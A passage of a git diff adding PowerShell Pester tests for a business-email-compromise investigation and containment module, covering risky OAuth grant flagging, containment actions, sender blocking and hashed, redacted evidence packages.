= @([pscustomobject]@{ id = 'g1'; clientId = 'sp-shady'; resourceId = 'sp-graph'; consentType = 'Principal'; scope = 'EWS.AccessAsUser.All' }) + $Result = Get-CIPPBecUserGrants -TenantFilter 'contoso.com' -UserId 'user-1' -Heuristics $script:Heuristics + $Result.Data[0].HighRiskScopes | Should -Contain 'EWS.AccessAsUser.All' + $Result.Data[0].Risk | Should -Be 'High' + } + + It 'flags an app role assignment to a catalog application' { + $script:AppRolesFixture = @([pscustomobject]@{ id = 'a1'; resourceId = 'sp-rogue'; resourceDisplayName = 'Mail_Backup'; appRoleId = '00000000-0000-0000-0000-000000000000'; createdDateTime = '2026-08-10T00:00:00Z' }) + $Result = Get-CIPPBecUserGrants -TenantFilter 'contoso.com' -UserId 'user-1' -Heuristics $script:Heuristics + $Result.Data.Count | Should -Be 1 + $Result.Data[0].Type | Should -Be 'AppRoleAssignment' + $Result.Data[0].Risk | Should -Be 'CatalogMatch' + $Result.Data[0].Flagged | Should -BeTrue + } + + It 'reports a failed Graph query as incomplete instead of an empty grant list' { + $script:GrantStatus = 403 + $Result = Get-CIPPBecUserGrants -TenantFilter 'contoso.com' -UserId 'user-1' -Heuristics $script:Heuristics + $Result.Complete | Should -BeFalse + $Result.Error | Should -Match 'grants failed' + $Result.Data.Count | Should -Be 0 + } + + It 'resolves service principals in chunks of at most 15 ids' { + $script:GrantsFixture = @(1..40 | ForEach-Object { [pscustomobject]@{ id = "g$_"; clientId = "sp-$_"; resourceId = 'sp-graph'; consentType = 'Principal'; scope = 'User.Read' } }) + $null = Get-CIPPBecUserGrants -TenantFilter 'contoso.com' -UserId 'user-1' -Heuristics $script:Heuristics + $script:SpRequests.Count | Should -Be 3 + foreach ($Request in $script:SpRequests) { + ([regex]::Matches($Request.url, "'([^']+)'").Count) | Should -BeLessOrEqual 15 + } + } + + It 'fetches the rogue-app feed itself when none is supplied and still works when the feed is down' { + Mock Get-CIPPBecRogueAppFeed { [pscustomobject]@{ Apps = @{}; HuntressAvailable = $false } } + $script:GrantsFixture = @([pscustomobject]@{ id = 'g1'; clientId = 'sp-rogue'; resourceId = 'sp-graph'; consentType = 'Principal'; scope = 'User.Read' }) + $Result = Get-CIPPBecUserGrants -TenantFilter 'contoso.com' -UserId 'user-1' -Heuristics $script:Heuristics + $Result.HuntressFeedAvailable | Should -BeFalse + $Result.Data[0].CatalogMatch | Should -BeNullOrEmpty + Should -Invoke Get-CIPPBecRogueAppFeed -Times 1 + } +} diff --git a/backend/Tests/Private/Invoke-CIPPBecContainment.Tests.ps1 b/backend/Tests/Private/Invoke-CIPPBecContainment.Tests.ps1 new file mode 100644 index 0000000000..bdf465f144 --- /dev/null +++ b/backend/Tests/Private/Invoke-CIPPBecContainment.Tests.ps1 @@ -0,0 +1,200 @@ +BeforeAll { + $RepoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSCommandPath)) + # Every mutator the dispatcher can reach is a stub so a run can prove exactly which ones are invoked. + function Set-CIPPResetPassword { param($UserID, $DisplayName, $TenantFilter, $APIName, $Headers, $forceChangePasswordNextSignIn) } + function Set-CIPPSignInState { param($UserID, $AccountEnabled, $TenantFilter, $APIName, $Headers) } + function Revoke-CIPPSessions { param($userid, $username, $Headers, $APIName, $tenantFilter) } + function Remove-CIPPUserMFA { param($UserPrincipalName, $TenantFilter, $MethodId, $Headers, $APIName) } + function Remove-CIPPUserOAuthGrant { param($TenantFilter, $UserId, $GrantIds, $AppRoleAssignmentIds, $Headers, $APIName) } + function Set-CIPPServicePrincipalState { param($TenantFilter, $ServicePrincipalId, $AccountEnabled, $Headers, $APIName) } + function Disable-CIPPInboxRules { param($TenantFilter, $UserPrincipalName, $RuleIds, $Headers, $APIName) } + function Set-CIPPForwarding { param($UserID, $ForwardingSMTPAddress, $TenantFilter, $Username, $Headers, $APIName, $Forward, $KeepCopy, $Disable) } + function Set-CIPPOutOfOffice { param($UserID, $InternalMessage, $ExternalMessage, $TenantFilter, $State, $APIName, $Headers) } + function Remove-CIPPMailboxDelegation { param($TenantFilter, $UserPrincipalName, $Delegations, $Headers, $APIName) } + function Set-CIPPTransportRuleState { param($TenantFilter, $Identity, $Enabled, $Headers, $APIName) } + function Disable-CIPPMailboxApp { param($TenantFilter, $UserPrincipalName, $Identity, $Headers, $APIName) } + function Set-CIPPCASMailboxProtocols { param($TenantFilter, $UserPrincipalName, $Protocols, $Enabled, $Headers, $APIName) } + function Set-CIPPMobileDevice { param($Headers, $Quarantine, $UserId, $DeviceId, $TenantFilter, $Delete, $Guid, $APIName) } + function Set-CIPPEntraDeviceState { param($TenantFilter, $DeviceId, $AccountEnabled, [switch]$Remove, $Headers, $APIName) } + function New-CIPPBecTargetedCAPolicy { param($TenantFilter, $UserId, $UserPrincipalName, $State, $Controls, $ExpiresHours, $CaseId, $Headers, $APIName) } + function Set-CIPPOneDriveSharing { param($UserId, $TenantFilter, $SharingCapability, $APIName, $Headers, $URL) } + function New-GraphGetRequest { param($uri, $tenantid, $AsApp, $noPagination) } + function New-ExoRequest { param($tenantid, $cmdlet, $cmdParams, $Anchor, $useSystemMailbox, $NoAuthCheck) } + function Remove-CIPPBecSharingLinks { param($TenantFilter, $UserPrincipalName, $ItemUrls, $Headers, $APIName) } + function Write-LogMessage { param($message, $tenant, $API, $tenantId, $headers, $user, $sev, $LogData) } + function Get-CippException { param($Exception) [pscustomobject]@{ NormalizedError = [string]$Exception.Exception.Message } } + function Set-CippBecCaseContext { param($CaseId) } + function Get-CIPPBecReport { param($TenantFilter, $CaseId, $UserId, [switch]$IncludeResults) } + function Set-CIPPBecReport { param($TenantFilter, $CaseId, $Properties, $Results, [switch]$Replace) } + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Get-CIPPBecContainmentActions.ps1') + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Invoke-CIPPBecContainment.ps1') + + $script:Mutators = @('Set-CIPPResetPassword', 'Set-CIPPSignInState', 'Revoke-CIPPSessions', 'Remove-CIPPUserMFA', 'Remove-CIPPUserOAuthGrant', 'Set-CIPPServicePrincipalState', 'Disable-CIPPInboxRules', 'Set-CIPPForwarding', 'Set-CIPPOutOfOffice', 'Remove-CIPPMailboxDelegation', 'Set-CIPPTransportRuleState', 'Disable-CIPPMailboxApp', 'Set-CIPPCASMailboxProtocols', 'Set-CIPPMobileDevice', 'Set-CIPPEntraDeviceState', 'New-CIPPBecTargetedCAPolicy', 'Set-CIPPOneDriveSharing') + $script:Run = [pscustomobject]@{ + UserGrants = @([pscustomobject]@{ Id = 'g-bad'; Type = 'DelegatedGrant'; Flagged = $true; Risk = 'CatalogMatch'; ClientServicePrincipalId = 'sp-bad' }, [pscustomobject]@{ Id = 'g-ok'; Type = 'DelegatedGrant'; Flagged = $false; Risk = 'Low' }, [pscustomobject]@{ Id = 'a-bad'; Type = 'AppRoleAssignment'; Flagged = $true; Risk = 'CatalogMatch'; ClientServicePrincipalId = 'sp-bad' }) + Delegations = @([pscustomobject]@{ PermissionType = 'FullAccess'; Trustee = 'outsider@example.org'; Resource = 'victim@contoso.com'; Identity = 'victim@contoso.com'; Flagged = $true }, [pscustomobject]@{ PermissionType = 'SendAs'; Trustee = 'assistant@contoso.com'; Resource = 'victim@contoso.com'; Flagged = $false }) + NewRules = @([pscustomobject]@{ Name = 'Hide'; Identity = 'r1' }) + TransportRulesFlagged = @([pscustomobject]@{ Guid = 'tr-1'; Name = 'Exfil'; ChangedInWindow = $true }, [pscustomobject]@{ Guid = 'tr-2'; Name = 'Old'; ChangedInWindow = $false }) + MailboxAddIns = @([pscustomobject]@{ Identity = 'addin-1'; Flagged = $true }) + SuspectUserDevices = @([pscustomobject]@{ DeviceID = 'dev-1'; Guid = 'guid-1'; DeviceModel = 'Phone' }) + RegisteredDevices = @([pscustomobject]@{ id = 'entra-1'; RegisteredInWindow = $true }, [pscustomobject]@{ id = 'entra-old'; RegisteredInWindow = $false }) + MailboxState = [pscustomobject]@{ HasForwarding = $true; ForwardingSmtpAddress = 'smtp:x@example.org'; AutoReplyState = 'Enabled' } + ReceivedMailFindings = @([pscustomobject]@{ FindingType = 'Typosquat'; SenderAddress = 'ceo@contos0.com'; SenderDomain = 'contos0.com' }, [pscustomobject]@{ FindingType = 'SubjectPattern'; SenderAddress = 'billing@evil.example'; SenderDomain = 'evil.example' }, [pscustomobject]@{ FindingType = 'Keyword'; SenderAddress = 'ceo@contos0.com'; SenderDomain = 'contos0.com' }) + SharingChanges = @([pscustomobject]@{ Operation = 'AnonymousLinkCreated'; ItemUrl = 'https://contoso-my.sharepoint.com/personal/victim/Documents/payroll.xlsx'; FileName = 'payroll.xlsx' }, [pscustomobject]@{ Operation = 'CompanyLinkCreated'; ItemUrl = 'https://contoso-my.sharepoint.com/personal/victim/Documents/contracts.docx'; FileName = 'contracts.docx' }) + } + $script:AllActionIds = @((Get-CIPPBecContainmentActions).Id) +} + +Describe 'Invoke-CIPPBecContainment' { + BeforeEach { + foreach ($Name in $script:Mutators) { Mock $Name { "$Name ran" } } + Mock Set-CIPPResetPassword { [pscustomobject]@{ resultText = 'Successfully reset the password. The new password is Hunter2!'; copyField = 'Hunter2!'; state = 'success' } } + Mock Remove-CIPPUserOAuthGrant { @(foreach ($G in $GrantIds) { [pscustomobject]@{ Target = $G; state = 'success'; resultText = "Deleted $G" } }) + @(foreach ($A in $AppRoleAssignmentIds) { [pscustomobject]@{ Target = $A; state = 'success'; resultText = "Deleted $A" } }) } + Mock Disable-CIPPInboxRules { @([pscustomobject]@{ resultText = 'Disabled 1 inbox rule(s)'; state = 'success' }) } + Mock Remove-CIPPMailboxDelegation { @(foreach ($D in $Delegations) { [pscustomobject]@{ Target = "$($D.PermissionType) $($D.Trustee)"; state = 'success'; resultText = 'removed' } }) } + Mock Write-LogMessage { } + Mock Set-CippBecCaseContext { } + Mock Get-CIPPBecReport { [pscustomobject]@{ CaseId = 'BEC-1'; Containment = @() } } + Mock Set-CIPPBecReport { } + Mock New-GraphGetRequest { [pscustomobject]@{ id = 'user-guid' } } + Mock Remove-CIPPBecSharingLinks { @(foreach ($Url in $ItemUrls) { [pscustomobject]@{ Target = $Url; state = 'success'; resultText = "Removed link on $Url" } }) } + } + + It 'runs the original six steps in order when no actions are selected' { + $Rows = Invoke-CIPPBecContainment -TenantFilter 'contoso.com' -UserId 'u1' -UserPrincipalName 'victim@contoso.com' -Confirmed + @($Rows.Action | Select-Object -Unique) | Should -Be @('ResetPassword', 'DisableAccount', 'RevokeSessions', 'RemoveMFA', 'DisableInboxRules', 'DisableOneDriveSharing') + Should -Invoke Set-CIPPResetPassword -Times 1 + Should -Invoke Set-CIPPSignInState -Times 1 -ParameterFilter { $AccountEnabled -eq $false } + Should -Invoke Revoke-CIPPSessions -Times 1 + Should -Invoke Remove-CIPPUserMFA -Times 1 -ParameterFilter { -not $MethodId } + Should -Invoke Disable-CIPPInboxRules -Times 1 + Should -Invoke Set-CIPPOneDriveSharing -Times 1 -ParameterFilter { $SharingCapability -eq 'Disabled' } + Should -Invoke Remove-CIPPUserOAuthGrant -Times 0 + ($Rows | Where-Object { $_.Action -eq 'ResetPassword' }).copyField | Should -Be 'Hunter2!' + } + + It 'refuses Critical actions without confirmation and names them' { + { Invoke-CIPPBecContainment -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' } | Should -Throw '*Confirmation is required*ResetPassword*' + { Invoke-CIPPBecContainment -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -Actions @('RevokeSessions') } | Should -Not -Throw + foreach ($Name in $script:Mutators) { if ($Name -ne 'Revoke-CIPPSessions') { Should -Invoke $Name -Times 0 } } + } + + It 'rejects an unknown action before doing anything' { + { Invoke-CIPPBecContainment -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -Actions @('RevokeSessions', 'FormatDisk') -Confirmed } | Should -Throw "*Unknown containment action 'FormatDisk'*" + Should -Invoke Revoke-CIPPSessions -Times 0 + } + + It 'prefers explicit parameters over the run''s flagged items' { + $Rows = Invoke-CIPPBecContainment -TenantFilter 'contoso.com' -UserId 'u1' -UserPrincipalName 'victim@contoso.com' -Actions @('RemoveOAuthGrants', 'DisableTransportRules', 'BlockProtocols', 'RemoveMFA') -Confirmed -RunResults $script:Run -Parameters @{ GrantIds = @('g-ok'); TransportRuleIds = @('tr-2'); Protocols = @('IMAP'); MfaMethodIds = @('m1', 'm2') } + Should -Invoke Remove-CIPPUserOAuthGrant -Times 1 -ParameterFilter { $GrantIds -contains 'g-ok' -and $GrantIds -notcontains 'g-bad' -and $UserId -eq 'u1' } + Should -Invoke Set-CIPPTransportRuleState -Times 1 -ParameterFilter { $Identity -eq 'tr-2' -and $Enabled -eq $false } + Should -Invoke Set-CIPPCASMailboxProtocols -Times 1 -ParameterFilter { @($Protocols) -eq 'IMAP' -and $Enabled -eq $false } + Should -Invoke Remove-CIPPUserMFA -Times 2 + Should -Invoke Remove-CIPPUserMFA -Times 1 -ParameterFilter { $MethodId -eq 'm2' } + ($Rows | Where-Object { $_.Action -eq 'RemoveOAuthGrants' }).Target | Should -Be 'g-ok' + } + + It 'reads parameters from a deserialised object as well as a hashtable' { + $Params = [pscustomobject]@{ protocols = @('OWA', 'MAPI') } + $null = Invoke-CIPPBecContainment -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -Actions @('BlockProtocols') -Parameters $Params + Should -Invoke Set-CIPPCASMailboxProtocols -Times 1 -ParameterFilter { $Protocols -contains 'OWA' -and $Protocols -contains 'MAPI' } + } + + It 'keeps going when one action fails and reports it as an error row' { + Mock Revoke-CIPPSessions { throw 'Graph is down' } + $Rows = Invoke-CIPPBecContainment -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -Actions @('RevokeSessions', 'DisableOneDriveSharing', 'ClearAutoReply') + ($Rows | Where-Object { $_.Action -eq 'RevokeSessions' }).state | Should -Be 'error' + ($Rows | Where-Object { $_.Action -eq 'RevokeSessions' }).resultText | Should -Match 'Graph is down' + Should -Invoke Set-CIPPOneDriveSharing -Times 1 + Should -Invoke Set-CIPPOutOfOffice -Times 1 -ParameterFilter { $State -eq 'Disabled' } + ($Rows | Where-Object { $_.Action -eq 'ClearAutoReply' }).state | Should -Be 'success' + } + + It 'maps the AD-sync throw of Set-CIPPSignInState to a warning, not an error' { + Mock Set-CIPPSignInState { throw 'WARNING: User victim@contoso.com is AD Sync enabled. Please enable/disable in the local AD.' } + $Rows = Invoke-CIPPBecContainment -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -Actions @('DisableAccount') -Confirmed + $Rows[0].state | Should -Be 'warning' + $Rows[0].resultText | Should -Match 'directory-synced' + } + + It 'maps a partial MFA removal to a warning and a full failure to an error' { + Mock Remove-CIPPUserMFA { throw 'Successfully removed MFA methods (phone) for user victim@contoso.com. However, failed to remove (fido2). User may still have MFA methods assigned.' } + (Invoke-CIPPBecContainment -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -Actions @('RemoveMFA'))[0].state | Should -Be 'warning' + Mock Remove-CIPPUserMFA { throw 'Failed to remove MFA methods (phone) for user victim@contoso.com' } + (Invoke-CIPPBecContainment -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -Actions @('RemoveMFA'))[0].state | Should -Be 'error' + } + + It 'never writes the password to the log or the stored run, but still returns it to the caller' { + $Rows = Invoke-CIPPBecContainment -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -Actions @('ResetPassword') -Confirmed -CaseId 'BEC-1' + $Rows[0].copyField | Should -Be 'Hunter2!' + $Rows[0].resultText | Should -Match 'Hunter2!' + Should -Invoke Write-LogMessage -Times 0 -ParameterFilter { ($LogData | ConvertTo-Json -Depth 5) -match 'Hunter2' } + Should -Invoke Write-LogMessage -Times 1 -ParameterFilter { $LogData -and ($LogData | ConvertTo-Json -Depth 5) -match '\[redacted\]' } + Should -Invoke Set-CIPPBecReport -Times 0 -ParameterFilter { ($Properties.Containment | ConvertTo-Json -Depth 6) -match 'Hunter2' } + Should -Invoke Set-CIPPBecReport -Times 1 -ParameterFilter { ($Properties.Containment | ConvertTo-Json -Depth 6) -match '\[redacted\]' -and -not ($Properties.Containment | ConvertTo-Json -Depth 6).Contains('copyField') } + } + + It 'reports info rows instead of acting when a targeted action has nothing to target' { + $Rows = Invoke-CIPPBecContainment -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -Actions @('RemoveOAuthGrants', 'RemoveDelegations', 'DisableTransportRules') -Confirmed -RunResults ([pscustomobject]@{ UserGrants = @(); Delegations = @(); TransportRulesFlagged = @() }) + @($Rows | Where-Object { $_.state -eq 'info' }).Count | Should -Be 3 + Should -Invoke Remove-CIPPUserOAuthGrant -Times 0 + Should -Invoke Remove-CIPPMailboxDelegation -Times 0 + Should -Invoke Set-CIPPTransportRuleState -Times 0 + } + + It 'resolves the user object id when a Graph action needs it and none was supplied' { + $null = Invoke-CIPPBecContainment -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -Actions @('TargetedCAPolicy') -Parameters @{ CAPolicy = @{ State = 'reportOnly'; Controls = 'mfaAndCompliantDevice'; ExpiresHours = 4 } } + Should -Invoke New-GraphGetRequest -Times 1 + Should -Invoke New-CIPPBecTargetedCAPolicy -Times 1 -ParameterFilter { $UserId -eq 'user-guid' -and $State -eq 'enabledForReportingButNotEnabled' -and $Controls -eq 'mfaAndCompliantDevice' -and $ExpiresHours -eq 4 } + } + + It 'sets and clears the case log context' { + $null = Invoke-CIPPBecContainment -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -Actions @('RevokeSessions') -CaseId 'BEC-9' + Should -Invoke Set-CippBecCaseContext -Times 1 -ParameterFilter { $CaseId -eq 'BEC-9' } + Should -Invoke Set-CippBecCaseContext -Times 1 -ParameterFilter { [string]::IsNullOrEmpty($CaseId) } + } + + It 'blocks the distinct phishing senders from the run in one tenant Block-list call' { + Mock New-ExoRequest { } + $Rows = Invoke-CIPPBecContainment -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -Actions @('BlockSenders') -RunResults $script:Run + Should -Invoke New-ExoRequest -Times 1 -ParameterFilter { $cmdlet -eq 'New-TenantAllowBlockListItems' -and $cmdParams.ListType -eq 'Sender' -and $cmdParams.Block -eq $true -and $cmdParams.NoExpiration -eq $true -and @($cmdParams.Entries).Count -eq 2 -and $cmdParams.Entries -contains 'ceo@contos0.com' -and $cmdParams.Entries -contains 'billing@evil.example' } + @($Rows | Where-Object { $_.Action -eq 'BlockSenders' -and $_.state -eq 'success' }).Count | Should -Be 2 + } + + It 'prefers explicit sender picks over the run findings when blocking senders' { + Mock New-ExoRequest { } + $null = Invoke-CIPPBecContainment -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -Actions @('BlockSenders') -RunResults $script:Run -Parameters @{ BlockSenders = @('only@picked.example') } + Should -Invoke New-ExoRequest -Times 1 -ParameterFilter { @($cmdParams.Entries) -eq 'only@picked.example' } + } + + It 'reports an info row and blocks nothing when the run found no phishing senders' { + Mock New-ExoRequest { } + $Rows = Invoke-CIPPBecContainment -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -Actions @('BlockSenders') -RunResults ([pscustomobject]@{ ReceivedMailFindings = @() }) + $Rows[0].state | Should -Be 'info' + Should -Invoke New-ExoRequest -Times 0 + } + + It 'reports an error row per sender when the tenant Block-list call fails' { + Mock New-ExoRequest { throw 'EXO unavailable' } + $Rows = Invoke-CIPPBecContainment -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -Actions @('BlockSenders') -RunResults $script:Run + @($Rows | Where-Object { $_.Action -eq 'BlockSenders' -and $_.state -eq 'error' }).Count | Should -Be 2 + ($Rows | Where-Object { $_.Action -eq 'BlockSenders' })[0].resultText | Should -Match 'EXO unavailable' + } + + It 'removes the sharing links recorded in the run' { + $Rows = Invoke-CIPPBecContainment -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -Actions @('RemoveSharingLinks') -RunResults $script:Run + Should -Invoke Remove-CIPPBecSharingLinks -Times 1 -ParameterFilter { @($ItemUrls).Count -eq 2 -and $ItemUrls -contains 'https://contoso-my.sharepoint.com/personal/victim/Documents/payroll.xlsx' } + @($Rows | Where-Object { $_.Action -eq 'RemoveSharingLinks' -and $_.state -eq 'success' }).Count | Should -Be 2 + } + + It 'prefers explicit sharing-link URLs over the run findings' { + $null = Invoke-CIPPBecContainment -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -Actions @('RemoveSharingLinks') -RunResults $script:Run -Parameters @{ SharingLinkUrls = @('https://contoso-my.sharepoint.com/personal/victim/Documents/only.txt') } + Should -Invoke Remove-CIPPBecSharingLinks -Times 1 -ParameterFilter { @($ItemUrls) -eq 'https://contoso-my.sharepoint.com/personal/victim/Documents/only.txt' } + } + + It 'reports an info row and removes nothing when the run recorded no sharing changes' { + $Rows = Invoke-CIPPBecContainment -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -Actions @('RemoveSharingLinks') -RunResults ([pscustomobject]@{ SharingChanges = @() }) + $Rows[0].state | Should -Be 'info' + Should -Invoke Remove-CIPPBecSharingLinks -Times 0 + } +} diff --git a/backend/Tests/Private/New-CIPPBecCollectorResult.Tests.ps1 b/backend/Tests/Private/New-CIPPBecCollectorResult.Tests.ps1 new file mode 100644 index 0000000000..e9a1812fce --- /dev/null +++ b/backend/Tests/Private/New-CIPPBecCollectorResult.Tests.ps1 @@ -0,0 +1,32 @@ +BeforeAll { + $RepoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSCommandPath)) + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/New-CIPPBecCollectorResult.ps1') +} + +Describe 'New-CIPPBecCollectorResult' { + It 'defaults to a complete, non-skipped result' { + $R = New-CIPPBecCollectorResult -Data @(1, 2, 3) + $R.Complete | Should -BeTrue + $R.Skipped | Should -BeFalse + $R.Requirement | Should -BeNullOrEmpty + $R.Error | Should -BeNullOrEmpty + $R.Count | Should -Be 3 + } + + It 'marks a licence/permission gap as skipped, not complete and not a pass' { + $R = New-CIPPBecCollectorResult -Data @() -Skipped $true -Requirement 'Entra ID P2' + $R.Skipped | Should -BeTrue + # A skipped check has not seen everything, so it is never complete... + $R.Complete | Should -BeFalse + $R.Requirement | Should -Be 'Entra ID P2' + # ...and it carries no rows, so the UI cannot read it as a clean pass. + $R.Count | Should -Be 0 + } + + It 'a hard failure is an error, distinct from a skip' { + $R = New-CIPPBecCollectorResult -Data @() -Error 'boom' + $R.Complete | Should -BeFalse + $R.Skipped | Should -BeFalse + $R.Error | Should -Be 'boom' + } +} diff --git a/backend/Tests/Private/New-CIPPBecEvidencePackage.Tests.ps1 b/backend/Tests/Private/New-CIPPBecEvidencePackage.Tests.ps1 new file mode 100644 index 0000000000..2cdefb9deb --- /dev/null +++ b/backend/Tests/Private/New-CIPPBecEvidencePackage.Tests.ps1 @@ -0,0 +1,117 @@ +BeforeAll { + $RepoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSCommandPath)) + function Get-CIPPBecReport { param($TenantFilter, $CaseId, $UserId, [switch]$IncludeResults) } + function Set-CIPPBecReport { param($TenantFilter, $CaseId, $Properties, $Results, [switch]$Replace) } + function Get-CIPPTable { param($TableName) } + function Get-CIPPAzDataTableEntity { param($Context, $Filter, $Property, $First) } + # Nothing in the evidence path may touch blob storage any more + function New-CIPPAzStorageRequest { throw 'blob storage must not be touched' } + function Write-LogMessage { param($message, $tenant, $API, $tenantId, $headers, $user, $sev, $LogData) } + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/New-CIPPBecEvidencePackage.ps1') + + $script:Run = [pscustomobject]@{ + CaseId = 'BEC-20260820120000-ev0001'; Status = 'Completed'; UserPrincipalName = 'victim@contoso.com'; UserId = 'u1'; Scope = 'Full'; ExtractedAt = '2026-08-20T12:05:00Z'; RequestedAt = '2026-08-20T12:00:00Z'; Score = 12; Level = 'High' + EvidenceExports = @([pscustomobject]@{ At = '2026-08-21T09:00:00Z'; By = 'earlier@msp.com'; Sha256 = 'older000'; Bytes = 100; FileCount = 5; IncludesPdf = $false }) + Containment = @([pscustomobject]@{ At = '2026-08-20T13:00:00Z'; By = 'tech'; DryRun = $false; Actions = @('ResetPassword'); Results = @([pscustomobject]@{ Action = 'ResetPassword'; state = 'success'; resultText = 'The new password is [redacted]' }) }) + Results = [pscustomobject]@{ + CaseId = 'BEC-20260820120000-ev0001'; Scope = 'Full'; ContentPolicy = 'metadata-only' + NewRules = @([pscustomobject]@{ Name = 'Hide'; RiskReasons = @('Forwards or redirects messages', 'Deletes messages'); Nested = [pscustomobject]@{ a = 1 } }) + Delegations = @([pscustomobject]@{ PermissionType = 'FullAccess'; Trustee = 'x@example.org'; Flagged = $true }) + SentMessages = @() + RiskState = [pscustomobject]@{ Listed = $true; Detections = @([pscustomobject]@{ RiskEventType = 'unfamiliarFeatures' }) } + Score = [pscustomobject]@{ Value = 12; Level = 'High' } + } + } + $script:PdfBase64 = [Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes('%PDF-1.4 fake')) + + function Read-Zip { + param([byte[]]$Bytes) + $Stream = [System.IO.MemoryStream]::new($Bytes) + $Archive = [System.IO.Compression.ZipArchive]::new($Stream, [System.IO.Compression.ZipArchiveMode]::Read) + $Entries = @{} + foreach ($Entry in $Archive.Entries) { + $EntryStream = $Entry.Open() + $Ms = [System.IO.MemoryStream]::new() + $EntryStream.CopyTo($Ms) + $Entries[$Entry.FullName] = $Ms.ToArray() + $EntryStream.Dispose(); $Ms.Dispose() + } + $Archive.Dispose(); $Stream.Dispose() + $Entries + } +} + +Describe 'New-CIPPBecEvidencePackage' { + BeforeEach { + Mock Get-CIPPBecReport { $script:Run } + $script:Recorded = $null + Mock Set-CIPPBecReport { $script:Recorded = $Properties } + Mock Get-CIPPTable { @{ Context = @{ TableName = $TableName } } } + Mock Get-CIPPAzDataTableEntity { + @( + [pscustomobject]@{ Timestamp = '2026-08-20T12:01:00Z'; Tenant = 'contoso.com'; API = 'BECRun'; Severity = 'Info'; Username = 'tech'; Message = 'BEC Check run'; LogData = ''; RowKey = 'l1' } + [pscustomobject]@{ Timestamp = '2026-08-20T13:00:00Z'; Tenant = 'contoso.com'; API = 'BECRemediate'; Severity = 'Info'; Username = 'tech'; Message = 'Executed containment'; LogData = '[{"Action":"ResetPassword","copyField":"Hunter2!","resultText":"x"}]'; RowKey = 'l2' } + ) + } + Mock Write-LogMessage { } + } + + It 'builds a ZIP whose manifest hashes match every file, stores nothing, and appends the export record to the run' { + $Package = New-CIPPBecEvidencePackage -TenantFilter 'contoso.com' -CaseId 'BEC-20260820120000-ev0001' -PdfBase64 $script:PdfBase64 -PdfSummaryBase64 $script:PdfBase64 + $Package.ZipSha256 | Should -Match '^[0-9a-f]{64}$' + $Entries = Read-Zip -Bytes $Package.ZipBytes + $Entries.Keys | Should -Contain 'results.json' + $Entries.Keys | Should -Contain 'findings/NewRules.csv' + $Entries.Keys | Should -Contain 'findings/Delegations.csv' + $Entries.Keys | Should -Contain 'findings/RiskDetections.csv' + $Entries.Keys | Should -Not -Contain 'findings/SentMessages.csv' -Because 'empty sections are skipped' + $Entries.Keys | Should -Contain 'containment.json' + $Entries.Keys | Should -Contain 'logbook.json' + $Entries.Keys | Should -Contain 'report-full.pdf' + $Entries.Keys | Should -Contain 'report-summary.pdf' + $Entries.Keys | Should -Contain 'manifest.sha256.json' + $Manifest = [System.Text.Encoding]::UTF8.GetString($Entries['manifest.sha256.json']) | ConvertFrom-Json + $Manifest.Schema | Should -Be 'cipp-bec-evidence/v1' + $Manifest.ContentPolicy | Should -Be 'metadata-only' + $Manifest.Files.Count | Should -Be ($Entries.Count - 1) + foreach ($File in $Manifest.Files) { + $Actual = [System.Convert]::ToHexString([System.Security.Cryptography.SHA256]::HashData($Entries[$File.Path])).ToLowerInvariant() + $Actual | Should -Be $File.Sha256 -Because "$($File.Path) must hash as listed" + $Entries[$File.Path].Length | Should -Be $File.Bytes + } + # nothing stored; the export record is appended after the earlier one + $script:Recorded | Should -Not -BeNullOrEmpty + $script:Recorded.EvidenceSha256 | Should -Be $Package.ZipSha256 + @($script:Recorded.EvidenceExports).Count | Should -Be 2 + @($script:Recorded.EvidenceExports)[0].Sha256 | Should -Be 'older000' + @($script:Recorded.EvidenceExports)[-1].Sha256 | Should -Be $Package.ZipSha256 + @($script:Recorded.EvidenceExports)[-1].IncludesPdf | Should -BeTrue + $script:Recorded.Keys | Should -Not -Contain 'EvidenceBlob' + } + + It 'flattens arrays and nested objects into CSV cells and marks a PDF-less export as such' { + $Package = New-CIPPBecEvidencePackage -TenantFilter 'contoso.com' -CaseId 'BEC-20260820120000-ev0001' + $Entries = Read-Zip -Bytes $Package.ZipBytes + $Csv = [System.Text.Encoding]::UTF8.GetString($Entries['findings/NewRules.csv']) + $Csv | Should -Match 'Forwards or redirects messages; Deletes messages' + $Csv | Should -Match '\{""a"":1\}' + $Entries.Keys | Should -Not -Contain 'report.pdf' + @($script:Recorded.EvidenceExports)[-1].IncludesPdf | Should -BeFalse + } + + It 'scrubs any password copy field from the logbook copy and queries the case id across day partitions' { + $Package = New-CIPPBecEvidencePackage -TenantFilter 'contoso.com' -CaseId 'BEC-20260820120000-ev0001' + $Entries = Read-Zip -Bytes $Package.ZipBytes + $Log = [System.Text.Encoding]::UTF8.GetString($Entries['logbook.json']) + $Log | Should -Not -Match 'Hunter2' + $Log | Should -Match '\[redacted\]' + Should -Invoke Get-CIPPAzDataTableEntity -Times 1 